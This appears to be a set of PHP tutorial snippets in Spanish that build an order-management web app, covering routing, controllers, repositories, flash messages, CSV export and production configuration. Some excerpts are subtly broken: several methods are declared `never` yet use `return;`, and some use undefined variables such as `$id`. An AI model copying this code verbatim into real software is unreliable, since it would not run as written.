    if (!$this->estado->puedePasarA($nuevo)) {
        throw new DominioException(sprintf(
            'Pedido %d en estado %s no puede pasar a %s',
            $this->id, $this->estado->value, $nuevo->value
        ));
    }
    return new self(
        id: $this->id,
        clienteId: $this->clienteId,
        total: $this->total,
        estado: $nuevo,
        creado: $this->creado,
    );
}

<?php
public function guardar(): string
{
    $errores = (new ValidadorPedido())->validar($_POST);
    if ($errores !== []) {
        http_response_code(422);
        return vista('pedidos/nuevo', ['errores' => $errores, 'viejo' => $_POST]);
    }

    $borrador = new PedidoBorrador(clienteId: (int) ($_POST['cliente_id'] ?? 0));
    foreach ($_POST['items'] ?? [] as $i) {
        $borrador->agregar((string)$i['producto'], (int)$i['cantidad'], (float)$i['precio']);
    }

    try {
        $id = $this->repo->crearConDetalles(
            ['cliente_id' => $borrador->clienteId(), 'total' => $borrador->total()],
            $borrador->items()
        );
    } catch (DominioException $e) {
        http_response_code(422);
        return vista('pedidos/nuevo', [
            'errores' => ['items' => $e->getMessage()],
            'viejo'   => $_POST,
        ]);
    }

    header('Location: /pedidos/' . $id);   // PRG formal llega en cap. 23
    exit;
}

<?php
// config/rutas.php — cada entrada ES una accion
return [
    'GET' => [
        '/'                    => [InicioControlador::class, 'portada'],
        '/pedidos'             => [PedidosControlador::class, 'listar'],
        '/pedidos/nuevo'       => [PedidosControlador::class, 'nuevo'],
        '/pedidos/{id}'        => [PedidosControlador::class, 'ver'],
        '/pedidos/{id}/anular' => [PedidosControlador::class, 'anular'],
    ],
    'POST' => [
        '/pedidos' => [PedidosControlador::class, 'guardar'],
    ],
];

<?php
// controladores/PedidosControlador.php
final class PedidosControlador
{
    public function __construct(private PedidoRepositorio $repo) {}

    public function listar(): string
    {
        $vms = array_map(
            PedidoVista::desdeDominio(...),
            $this->repo->todos()
        );
        return vista('pedidos/listar', ['filas' => $vms, 'titulo' => 'Pedidos']);
    }

    public function ver(int $id): string    // {id} llega por reflexion, cap. 12
    {
        try {
            $vm = PedidoVista::desdeDominio($this->repo->encontrar($id));
        } catch (PedidoNoEncontrado) {
            return vista('errores/404', [], layout: null);
        }
        return vista('pedidos/ver', ['vm' => $vm]);
    }

    public function nuevo(): string
    {
        return vista('pedidos/nuevo', ['errores' => [], 'viejo' => []]);
    }

    public function guardar(): string   // cuerpo completo: caps. 19 y 21
    { /* valida, construye borrador, persiste, redirige */ }

    public function anular(int $id): never
    {
        $pedido = $this->repo->encontrar($id);
        $this->repo->cambiarEstado($id, EstadoPedido::ANULADO);
        header('Location: /pedidos/' . $id, response_code: 303);
        exit;
    }
}

<?php
public function guardar(): string
{
    $errores = (new ValidadorPedido())->validar($_POST);
    if ($errores !== []) {
        http_response_code(422);                    // NO redirige:
        return vista('pedidos/nuevo', [             // el POST responde con errores
            'errores' => $errores,
            'viejo'   => $_POST,
        ]);
    }

    // ... persistencia atomica (cap. 20) ...

    header('Location: /pedidos/' . $id, response_code: 303);
    exit;                                           // NADA corre despues
}

<?php
// POST /pedidos/{id}/anular -> ver el pedido actualizado, no un eco
public function anular(int $id): never
{
    $this->repo->cambiarEstado($id, EstadoPedido::ANULADO);
    header('Location: /pedidos/' . $id, response_code: 303);
    exit;
}

<?php
// helpers_sesion.php — session_start() vive en index.php, UNA vez
function flash(string $tipo, string $mensaje): void
{
    $_SESSION['flash'][] = ['tipo' => $tipo, 'texto' => $mensaje];
}

/** Consume y OLVIDA los mensajes pendientes */
function flashes(): array
{
    $pendientes = $_SESSION['flash'] ?? [];
    unset($_SESSION['flash']);
    return $pendientes;
}

<?php // plantillas/layouts/base.php — dentro de <body>
$clases = [
    'success' => 'alert-success',
    'danger'  => 'alert-danger',
    'warning' => 'alert-warning',
];
foreach (flashes() as $f):
    $clase = $clases[$f['tipo']] ?? 'alert-secondary'; ?>
  <div class="alert <?= $clase ?>"><?= e($f['texto']) ?></div>
<?php endforeach; ?>

<main><?= $contenido ?></main>

<?php
// cap. 23 mejorado: el exit ahora va acompanado
public function guardar(): never
{
    // ... validacion + persistencia ...
    flash('success', "Pedido #$id registrado correctamente.");
    header('Location: /pedidos/' . $id, response_code: 303);
    exit;
}

public function anular(int $id): never
{
    $this->repo->cambiarEstado($id, EstadoPedido::ANULADO);
    flash('warning', "Pedido #$id anulado.");
    header('Location: /pedidos/' . $id, response_code: 303);
    exit;
}

<?php
// Esto aparece IDENTICO en 3 controladores:
$vms = array_map(PedidoVista::desdeDominio(...), $this->repo->todos());
return vista('pedidos/listar', ['filas' => $vms]);

http_response_code(422);
return vista('pedidos/nuevo', ['errores' => $errores, 'viejo' => $_POST]);

flash('success', "Pedido #$id registrado.");
header('Location: /pedidos/' . $id, response_code: 303);
exit;

<?php
// controladores/ControladorBase.php
abstract class ControladorBase
{
    /** Contenedor inyectado por reflexion (cap. 12) */
    public function __construct(protected Container $contenedor) {}

    /** Render con errores + valores previos (respuesta 422 tipica) */
    protected function renderConErrores(
        string $plantilla,
        array $errores,
        array $viejo = [],
    ): string {
        http_response_code(422);
        return vista($plantilla, ['errores' => $errores, 'viejo' => $viejo]);
    }

    /** PRG completo: mensaje + 303 + salida */
    protected function redirigir(string $url, string $tipo, string $mensaje): never
    {
        flash($tipo, $mensaje);
        header('Location: ' . $url, response_code: 303);
        exit;
    }

    /** Servicio resuelto perezosamente desde el contenedor */
    protected function servicio(string $clase): object
    {
        return ($this->contenedor->fabricas)[$clase]();
    }
}

<?php
final class PedidosControlador extends ControladorBase
{
    private PedidoRepositorio $repo;

    protected function repo(): PedidoRepositorio
    {
        return $this->repo ??= $this->servicio(PedidoRepositorio::class);
    }

    public function guardar(): never
    {
        $errores = (new ValidadorPedido())->validar($_POST);
        if ($errores !== []) {
            // antes: 3 lineas repetidas... ahora 1:
            echo $this->renderConErrores('pedidos/nuevo', $errores, $_POST);
            return;
        }
        // ... borrador + persistencia ...
        $this->redirigir("/pedidos/$id", 'success', "Pedido #$id registrado.");
    }

    public function anular(int $id): never
    {
        $this->repo()->cambiarEstado($id, EstadoPedido::ANULADO);
        $this->redirigir("/pedidos/$id", 'warning', "Pedido #$id anulado.");
    }
}

tienda/
├── public/                  <-- UNICO directorio expuesto al mundo
│   ├── index.php            <-- front controller (cap. 12)
│   └── .htaccess            <-- rewrite (cap. 7)
├── config/
│   ├── rutas.php            <-- tabla de rutas (cap. 9)
│   └── config.php           <-- constantes + credenciales locales
├── src/
│   ├── dominio/             <-- entidades, enum, excepciones, interfaces
│   │   ├── Pedido.php       <-- cap. 17
│   │   └── ...
│   ├── infraestructura/     <-- PDO repos, implementaciones
│   ├── aplicacion/          <-- validadores, servicios de app
│   ├── controladores/       <-- ControladorBase + hijos
│   └── vistamodelos/        <-- PedidoVista y familia
├── plantillas/
│   ├── layouts/base.php     <-- cap. 14
│   ├── pedidos/*.php        <-- vistas por recurso
│   └── errores/404.php
└── helpers/                 <-- vista(), e(), flash(), flashes()

<?php
// public/index.php — primeras lineas
declare(strict_types=1);

define('BASE_PATH', dirname(__DIR__));

spl_autoload_register(function (string $clase): void {
    // App\\Dominio\\Pedido => src/dominio/Pedido.php
    $ruta = BASE_PATH . '/src/'
          . strtolower(str_replace('App\\', '', $clase))  // prefijo opcional
          . '.php';
    $ruta = str_replace('\\', '/', preg_replace('/([a-z])([A-Z])/', '$1_$2', basename($ruta)));
    $candidato = BASE_PATH . '/src/' . $ruta;
    if (is_file($candidato)) {
        require $candidato;
    }
});

<?php
// ... autoload arriba ...

require BASE_PATH . '/helpers/sesion.php';
session_start();

$config = require BASE_PATH . '/config/config.php';
$pdo    = new PDO($config['dsn'], $config['usuario'], $config['clave'], [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]);

$contenedor = new Container([
    PDO::class               => fn () => $pdo,
    PedidoRepositorio::class => fn () => new PdoPedidoRepositorio($pdo),
]);

$rutaActual = rutaActual();                 // cap. 8
if ($despacho = resolverRuta($rutaActual)) {
    [$clase, $accion] = $despacho;
    try {
        $controlador = construirConReflexion($contenedor, $clase);
        echo $controlador->$accion(...parametrosDeRuta($rutaActual));
        exit;
    } catch (PedidoNoEncontrado) {
        http_response_code(404);
    }
}
http_response_code(404);
echo vista('errores/404', [], layout: null);

<?php
// dominio/Cliente.php
final readonly class Cliente
{
    public function __construct(
        public int $id,
        public string $nombre,
        public string $email,
        public DateTimeImmutable $creado,
    ) {}

    public static function desdeFila(array $f): self
    {
        return new self(
            id: (int) $f['id'],
            nombre: $f['nombre'],
            email: $f['email'],
            creado: new DateTimeImmutable($f['creado']),
        );
    }
}

<?php
// infraestructura/PdoClienteRepositorio.php — los 5 metodos del CRUD
final class PdoClienteRepositorio implements ClienteRepositorio
{
    public function __construct(private PDO $pdo) {}

    public function encontrar(int $id): Cliente { /* como Pedido */ }

    /** @return Cliente[] */
    public function buscar(string $termino = ''): array
    {
        if ($termino === '') {
            return array_map(Cliente::desdeFila(...),
                $this->pdo->query('SELECT * FROM clientes ORDER BY nombre')
                    ->fetchAll(PDO::FETCH_ASSOC));
        }
        $st = $this->pdo->prepare(
            'SELECT * FROM clientes WHERE nombre ILIKE :t ORDER BY nombre'
        );
        $st->execute(['t' => "%$termino%"]);
        return array_map(Cliente::desdeFila(...), $st->fetchAll(PDO::FETCH_ASSOC));
    }

    public function emailOcupado(string $email, ?int $exceptoId = null): bool
    {
        $sql = 'SELECT COUNT(*) FROM clientes WHERE email = :e';
        $p   = ['e' => $email];
        if ($exceptoId !== null) {
            $sql .= ' AND id != :id';
            $p['id'] = $exceptoId;
        }
        $st = $this->pdo->prepare($sql);
        $st->execute($p);
        return $st->fetchColumn() > 0;
    }

    public function agregar(string $nombre, string $email): int { /* INSERT + lastInsertId */ }
    public function actualizar(int $id, string $nombre, string $email): void { /* UPDATE */ }

    /** @throws DominioException si tiene pedidos asociados */
    public function borrar(int $id): void
    {
        $st = $this->pdo->prepare(
            'SELECT COUNT(*) FROM pedidos WHERE cliente_id = :id'
        );
        $st->execute(['id' => $id]);
        if ($st->fetchColumn() > 0) {
            throw new DominioException('El cliente tiene pedidos: no se puede borrar.');
        }
        $this->pdo->prepare('DELETE FROM clientes WHERE id = :id')->execute(['id' => $id]);
    }
}

<?php
// aplicacion/ValidadorCliente.php
final readonly class ValidadorCliente
{
    public function __construct(private PdoClienteRepositorio $repo) {}

    /** @return array<string,string> */
    public function validar(array $d, ?int $idActual = null): array
    {
        $e = [];
        $nombre = trim((string) ($d['nombre'] ?? ''));
        $email  = strtolower(trim((string) ($d['email'] ?? '')));

        if ($nombre === '')                       $e['nombre'] = 'Indique el nombre.';
        if (!filter_var($email, FILTER_VALIDATE_EMAIL))
                                                  $e['email']  = 'Email invalido.';
        elseif ($this->repo->emailOcupado($email, $idActual))
                                                  $e['email']  = 'Ese email ya esta registrado.';
        return $e;
    }
}

<?php
final class ClientesControlador extends ControladorBase
{
    public function guardar(): never
    {
        $errores = $this->validador()->validar($_POST);
        if ($errores !== []) {
            echo $this->renderConErrores('clientes/nuevo', $errores, $_POST);
            return;
        }
        $id = $this->repo()->agregar(trim($_POST['nombre']), strtolower(trim($_POST['email'])));
        $this->redirigir("/clientes/$id", 'success', "Cliente #$id registrado.");
    }

    /** DELETE logico via POST (HTML forms no mandan metodo DELETE) */
    public function borrar(int $id): never
    {
        try {
            $this->repo()->borrar($id);
            $this->redirigir('/clientes', 'warning', "Cliente #$id eliminado.");
        } catch (DominioException $e) {
            flash('danger', $e->getMessage());       // mensaje honesto
            header("Location: /clientes/$id", response_code: 303);
            exit;
        }
    }
}

<?php // plantillas/pedidos/nuevo.php ?>
<form method="post" id="form-pedido">
  <select name="cliente_id" required>
    <?php foreach ($clientes as $c): ?>
      <option value="<?= $c->id ?>"><?= e($c->nombre) ?></option>
    <?php endforeach; ?>
  </select>

  <div id="items"></div>
  <button type="button" data-agregar-item>+ Producto</button>

  <template id="plantilla-item">      <!-- eco cap. 15: datos via atributos -->
    <div class="item">
      <input name="items[][producto]"  placeholder="Producto" required>
      <input name="items[][cantidad]"  type="number" min="1" value="1" required>
      <input name="items[][precio]"    type="number" step="0.10" min="0.01" required>
    </div>
  </template>
  <button>Registrar pedido</button>
</form>

// public/pedidos.js — clonar plantilla al hacer clic (nada de librerias)
document.querySelector('[data-agregar-item]').addEventListener('click', () => {
  document.getElementById('items')
    .append(document.getElementById('plantilla-item')
      .content.cloneNode(true));
});

<?php
public function guardar(): never
{
    $errores = (new ValidadorPedido())->validar($_POST);
    if ($errores !== []) {
        echo $this->renderConErrores('pedidos/nuevo', $errores, $_POST);
        return;
    }

    // Saneo por linea: descarta filas vacias, tipifica cada campo
    $borrador = new PedidoBorrador(clienteId: (int) $_POST['cliente_id']);
    foreach ($_POST['items'] ?? [] as $fila) {
        $producto = trim((string) ($fila['producto'] ?? ''));
        if ($producto === '') {
            continue;                        // fila fantasma: fuera
        }
        try {
            $borrador->agregar(
                $producto,
                max(1, (int) ($fila['cantidad'] ?? 1)),
                max(0.01, (float) ($fila['precio'] ?? 0)),
            );
        } catch (DominioException) {
            continue;                        // linea absurda: se ignora, no explota
        }
    }

    try {
        $id = $this->repo()->crearConDetalles(
            ['cliente_id' => $borrador->clienteId(),
             'total'      => $borrador->total()],   // SIEMPRE recalculado
            $borrador->items(),
        );
    } catch (DominioException $e) {
        echo $this->renderConErrores('pedidos/nuevo',
            ['items' => $e->getMessage()], $_POST);
        return;
    }

    flash('success', "Pedido #$id registrado.");
    header("Location: /pedidos/$id", response_code: 303);
    exit;
}

<?php
// repo agrega: /** @return array<array{producto:string,cantidad:int,precio:float}> */
public function detallesDe(int $pedidoId): array { /* SELECT ... WHERE pedido_id */ }

public function ver(int $id): string
{
    try {
        $pedido = $this->repo()->encontrar($id);
    } catch (PedidoNoEncontrado) {
        http_response_code(404);
        return vista('errores/404', [], layout: null);
    }
    return vista('pedidos/ver', [
        'vm'      => PedidoVista::desdeDominio($pedido),
        'detalles' => $this->repo()->detallesDe($id),
    ]);
}

<?php
// GET /pedidos/reportar.csv -> [PedidosControlador::class, 'reportarCsv']
public function reportarCsv(): never
{
    $pedidos = $this->repo()->todos();

    header('Content-Type: text/csv; charset=UTF-8');
    header('Content-Disposition: attachment; filename="pedidos.csv"');

    $salida = fopen('php://output', 'w');

    // BOM para que Excel respete UTF-8 (tildes y eñes legibles)
    fwrite($salida, "\xEF\xBB\xBF");

    fputcsv($salida, ['id', 'cliente', 'total', 'estado', 'creado']);
    foreach ($pedidos as $p) {
        fputcsv($salida, [
            $p->id,
            $p->cliente,
            number_format($p->total, 2, '.', ''),   // punto decimal universal
            $p->estado->value,
            $p->creado->format('Y-m-d H:i:s'),      // ISO: ordenable en Excel
        ]);
    }
    fclose($salida);
    exit;
}

<?php
// En el repositorio: fila a fila, sin acumular
public function cursorTodos(): Generator
{
    $st = $this->pdo->query('SELECT * FROM pedidos ORDER BY creado');
    while ($fila = $st->fetch(PDO::FETCH_ASSOC)) {
        yield $fila;
    }
}

// Y la accion itera el generador: memoria constante
foreach ($this->repo()->cursorTodos() as $fila) {
    fputcsv($salida, /* ... */);
}

; /etc/php/8.5/fpm/php.ini — PRODUCCION
display_errors = Off        ; el publico jamas ve stack traces
log_errors = On             ; ...pero TU si, en el log
error_log = /var/log/php/error.log
opcache.enable = On         ; bytecode cacheado: 2-3x mas rapido
opcache.validate_timestamps = 0   ; maxima velocidad (ver nota)
memory_limit = 256M

<?php
// config/config.php — EJEMPLO versionado (valores falsos)
return [
    'dsn'     => 'pgsql:host=localhost;dbname=tienda',
    'usuario' => 'tienda',
    'clave'   => 'CAMBIAR_EN_SERVIDOR',
];

// En el servidor real: config.local.php (gitignored) lo pisa:
$config = require BASE_PATH . '/config/config.php';
if (is_file($local = BASE_PATH . '/config/config.local.php')) {
    $config = array_merge($config, require $local);
}

<VirtualHost *:80>
    ServerName tienda.midominio.pe

    DocumentRoot /var/www/tienda/public    <-- SOLO public, como cap. 26
    <Directory /var/www/tienda/public>
        AllowOverride All                  <-- respeta tu .htaccess de rewrite
        Require all granted
    </Directory>

    ErrorLog  ${APACHE_LOG_DIR}/tienda-error.log
    CustomLog ${APACHE_LOG_DIR}/tienda-access.log combined
</VirtualHost>

<?php
// index.php — envoltorio final
set_exception_handler(function (Throwable $e): void {
    error_log('[TIENDA] ' . $e->getMessage() . ' @ '
        . $e->getFile() . ':' . $e->getLine());
    http_response_code(500);
    echo vista('errores/500', [], layout: null);   // pagina amable, cero detalle
});

// Health check para monitores externos (uptime robots):
if ($_SERVER['REQUEST_URI'] === '/salud') {
    header('Content-Type: application/json');
    echo json_encode(['ok' => true]);
    exit;
}

<?php
// routes/web.php — nuestra tabla de rutas, dialecto fluido
Route::get('/pedidos',                 [PedidoController::class, 'index']);
Route::post('/pedidos',                [PedidoController::class, 'store']);
Route::get('/pedidos/{pedido}',        [PedidoController::class, 'show']);

<?php
class PedidoController extends Controller
{
    // StorePedidoRequest = nuestro ValidadorPedido con reglas declarativas
    public function store(StorePedidoRequest $req): RedirectResponse
    {
        // route model binding: {pedido} ya llega resuelto o 404 solo
        $datos = $req->validated();

        $id = DB::transaction(function () use ($datos) {
            $pedido = Pedido::create([
                'cliente_id' => $datos['cliente_id'],
                'total'      => $this->calcTotal($datos['items']),
            ]);
            $pedido->detalles()->createMany($datos['items']);
            return $pedido->id;
        });

        return redirect("/pedidos/$id")           // PRG
            ->with('success', "Pedido #$id registrado.");   // flash
    }
}

<?php
// src/Controller/PedidoController.php — las rutas VIVEN en la clase
use Symfony\Component\Routing\Attribute\Route;

final class PedidoController extends AbstractController
{
    #[Route('/pedidos/{id}', name: 'pedido_ver', requirements: ['id' => '\d+'])]
    public function ver(int $id, PedidoRepositorio $repo): Response
    {
        // inyeccion por tipo: nuestro contenedor de fabricas, version orquesta
        return $this->render('pedidos/ver.html.twig', [
            'vm' => PedidoVista::desdeDominio($repo->encontrar($id)),
        ]);
    }
}

{# plantillas/pedidos/ver.html.twig — Twig escapa {{ }} automaticamente #}
<h1>Pedido #{{ vm.id }}</h1>
<p>Cliente: {{ vm.cliente }}</p>
<span class="{{ vm.claseBadge }}">{{ vm.estado }}</span>

<?php
// app/Controllers/Pedidos.php — casi nuestro cap. 22 tal cual
class Pedidos extends BaseController
{
    public function guardar(): RedirectResponse
    {
        // validation.php config + $this->validate(): nuestra bolsa de errores
        if (!$this->validate(['cliente' => 'required|min_length[3]'])) {
            return redirect()->back()->withInput()
                ->with('errors', $this->validator->getErrors());
        }

        $this->pedidosModel->insert($datos);          // modelo estilo CI4
        return redirect()->to("/pedidos/{$id}")
            ->with('success', "Pedido #$id registrado.");   // flash nativo
    }
}

1.  Ninguna accion hace echo: devuelve HTML o redirige.
2.  Ninguna plantilla imprime <?= $x ?> sin e() o cast numerico.
3.  El total JAMAS llega del cliente: se recalcula siempre.
4.  El SQL vive solo en repositorios, con sentencias preparadas.
5.  Toda mutacion multiple va en transaccion dentro del repo.
6.  Todo POST exitoso termina en 303 + Location + flash.
7.  La base comun exige duplicacion demostrada, no profecia.
8.  En produccion los errores van al log, nunca a la pantalla.

<?php
// El primer paso serio: pruebas automatizadas (PHPUnit)
public function test_total_se_recalcula_y_no_confia_del_cliente(): void
{
    $b = new PedidoBorrador(clienteId: 3);
    $b->agregar('Cafe', 2, 12.50);
    $this->assertSame(25.00, $b->total());     // regla viva, verificada
}